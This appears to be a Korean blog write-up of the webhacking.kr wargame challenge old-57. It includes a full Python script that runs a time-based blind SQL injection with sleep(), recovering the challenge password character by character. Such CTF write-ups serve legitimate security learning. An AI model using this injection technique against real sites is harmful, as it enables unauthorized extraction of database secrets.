old-57 풀이

2024. 4. 7. 18:49webhacking.kr

728x90

메인 페이지

메시지를 제출할 수 있는 폼이 보입니다

아무거나 넣어보겠습니다

 

아무거나 입력하고 제출한 결과

Done이라는 글자만 뜨고, 별다른 변화는 없습니다

view-source

msg와 se를 GET 방식으로 받아온 후, addslashes()로 이스케이핑 해줍니다

그 후 preg_match()로 se에 대한 필터링을 합니다

(select, and, or, not, &, |, benchmark)

mysqli_query()를 보면, chall57의 pw를 찾아야 한다는 것을 알 수 있습니다

msg에 값을 넣어줘도 뜨는 게 없으니, se 파라미터에 sleep() 함수를 사용해서 Time-Based로 풀어주겠습니다

 

import requests
import time

url="https://webhacking.kr/challenge/web-34/index.php?msg=hello&se="
len=0
flag=''


for i in range(50):
	query="if(length(pw)={},sleep(5),1)".format(i)
	timeCount=time.time()
	res=requests.get(url+query, cookies={'PHPSESSID':''})
	if(res.text.find("Done")!=-1):
		now=time.time()
	if now-timeCount>=5:
		len=i
		break


for i in range(1,len+1):
	for j in range(33,128):
		query="if(ascii(substr(pw,{},1))={},sleep(5),1)".format(i,j)
		timeCount=time.time()
		res=requests.get(url+query, cookies={'PHPSESSID':''})
		if(res.text.find("Done")!=-1):
			now=time.time()
		if(now-timeCount>=5):
			flag+=chr(j)
			break


print(flag)

문제 풀이 성공

728x90

'webhacking.kr' 카테고리의 다른 글

g00gle2 풀이  (0) 2024.04.10
baby toctou🍼 풀이 (PW = FLAG)  (0) 2024.04.08
old-04 풀이  (0) 2024.04.03
old-45 풀이  (1) 2024.03.27
old-60 풀이  (0) 2024.03.25